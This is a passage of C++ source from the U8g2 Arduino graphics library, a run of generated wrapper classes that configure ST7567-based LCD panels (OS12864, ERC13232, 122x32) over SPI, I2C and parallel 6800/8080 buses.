u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_ST7567_OS12864_F_2ND_HW_I2C : public U8G2 {\n  public: U8G2_ST7567_OS12864_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_i2c_os12864_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_ST7567_ERC13232_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST7567_ERC13232_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_erc13232_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_ERC13232_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7567_ERC13232_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_erc13232_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_ERC13232_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7567_ERC13232_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_erc13232_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_ERC13232_1_3W_SW_SPI : public U8G2 {\n  public: U8G2_ST7567_ERC13232_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_erc13232_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST7567_ERC13232_1_3W_HW_SPI : public U8G2 {\n  public: U8G2_ST7567_ERC13232_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_erc13232_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST7567_ERC13232_1_6800 : public U8G2 {\n  public: U8G2_ST7567_ERC13232_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_erc13232_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_ERC13232_1_8080 : public U8G2 {\n  public: U8G2_ST7567_ERC13232_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_erc13232_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_ERC13232_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST7567_ERC13232_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_erc13232_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_ERC13232_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7567_ERC13232_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_erc13232_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_ERC13232_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7567_ERC13232_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_erc13232_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_ERC13232_2_3W_SW_SPI : public U8G2 {\n  public: U8G2_ST7567_ERC13232_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_erc13232_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST7567_ERC13232_2_3W_HW_SPI : public U8G2 {\n  public: U8G2_ST7567_ERC13232_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_erc13232_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST7567_ERC13232_2_6800 : public U8G2 {\n  public: U8G2_ST7567_ERC13232_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_erc13232_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_ERC13232_2_8080 : public U8G2 {\n  public: U8G2_ST7567_ERC13232_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_erc13232_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_ERC13232_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST7567_ERC13232_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_erc13232_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_ERC13232_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7567_ERC13232_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_erc13232_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_ERC13232_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7567_ERC13232_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_erc13232_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_ERC13232_F_3W_SW_SPI : public U8G2 {\n  public: U8G2_ST7567_ERC13232_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_erc13232_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST7567_ERC13232_F_3W_HW_SPI : public U8G2 {\n  public: U8G2_ST7567_ERC13232_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_erc13232_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST7567_ERC13232_F_6800 : public U8G2 {\n  public: U8G2_ST7567_ERC13232_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_erc13232_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_ERC13232_F_8080 : public U8G2 {\n  public: U8G2_ST7567_ERC13232_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_erc13232_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_ERC13232_1_SW_I2C : public U8G2 {\n  public: U8G2_ST7567_ERC13232_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_i2c_erc13232_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_ST7567_ERC13232_1_HW_I2C : public U8G2 {\n  public: U8G2_ST7567_ERC13232_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_i2c_erc13232_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_ST7567_ERC13232_1_2ND_HW_I2C : public U8G2 {\n  public: U8G2_ST7567_ERC13232_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_i2c_erc13232_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_ST7567_ERC13232_2_SW_I2C : public U8G2 {\n  public: U8G2_ST7567_ERC13232_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_i2c_erc13232_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_ST7567_ERC13232_2_HW_I2C : public U8G2 {\n  public: U8G2_ST7567_ERC13232_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_i2c_erc13232_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_ST7567_ERC13232_2_2ND_HW_I2C : public U8G2 {\n  public: U8G2_ST7567_ERC13232_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_i2c_erc13232_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_ST7567_ERC13232_F_SW_I2C : public U8G2 {\n  public: U8G2_ST7567_ERC13232_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_i2c_erc13232_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_ST7567_ERC13232_F_HW_I2C : public U8G2 {\n  public: U8G2_ST7567_ERC13232_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_i2c_erc13232_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_ST7567_ERC13232_F_2ND_HW_I2C : public U8G2 {\n  public: U8G2_ST7567_ERC13232_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_i2c_erc13232_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_ST7567_122X32_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST7567_122X32_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_122x32_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_122X32_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7567_122X32_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_122x32_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_122X32_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7567_122X32_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_122x32_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_122X32_1_3W_SW_SPI : public U8G2 {\n  public: U8G2_ST7567_122X32_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_122x32_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST7567_122X32_1_3W_HW_SPI : public U8G2 {\n  public: U8G2_ST7567_122X32_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_122x32_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST7567_122X32_1_6800 : public U8G2 {\n  public: U8G2_ST7567_122X32_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_122x32_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_122X32_1_8080 : public U8G2 {\n  public: U8G2_ST7567_122X32_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_122x32_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_122X32_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST7567_122X32_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_122x32_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_122X32_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7567_122X32_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_122x32_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_122X32_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7567_122X32_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_122x32_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_122X32_2_3W_SW_SPI : public U8G2 {\n  public: U8G2_ST7567_122X32_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_122x32_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST7567_122X32_2_3W_HW_SPI : public U8G2 {\n  public: U8G2_ST7567_122X32_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_122x32_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST7567_122X32_2_6800 : public U8G2 {\n  public: U8G2_ST7567_122X32_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_122x32_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_122X32_2_8080 : public U8G2 {\n  public: U8G2_ST7567_122X32_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_122x32_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_122X32_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST7567_122X32_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_122x32_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_122X32_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7567_122X32_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_122x32_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_122X32_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7567_122X32_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_122x32_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_122X32_F_3W_SW_SPI : public U8G2 {\n  public: U8G2_ST7567_122X32_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_122x32_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST7567_122X32_F_3W_HW_SPI : public U8G2 {\n  public: U8G2_ST7567_122X32_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_122x32_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST7567_122X32_F_6800 : public U8G2 {\n  public: U8G2_ST7567_122X32_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_122x32_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_122X32_F_8080 : public U8G2 {\n  public: U8G2_ST7567_122X32_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_122x32_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_122X32_1_SW_I2C : public U8G2 {\n  public: U8G2_ST7567_122X32_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_i2c_122x32_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_ST7567_122X32_1_HW_I2C : public U8G2 {\n  public: U8G2_ST7567_122X32_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_i2c_122x32_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_ST7567_122X32_1_2ND_HW_I2C : public U8G2 {\n  public: U8G2_ST7567_122X32_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_i2c_122x32_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_ST7567_122X32_2_SW_I2C : public U8G2 {\n  public: U8G2_ST7567_122X32_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_i2c_122x32_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, 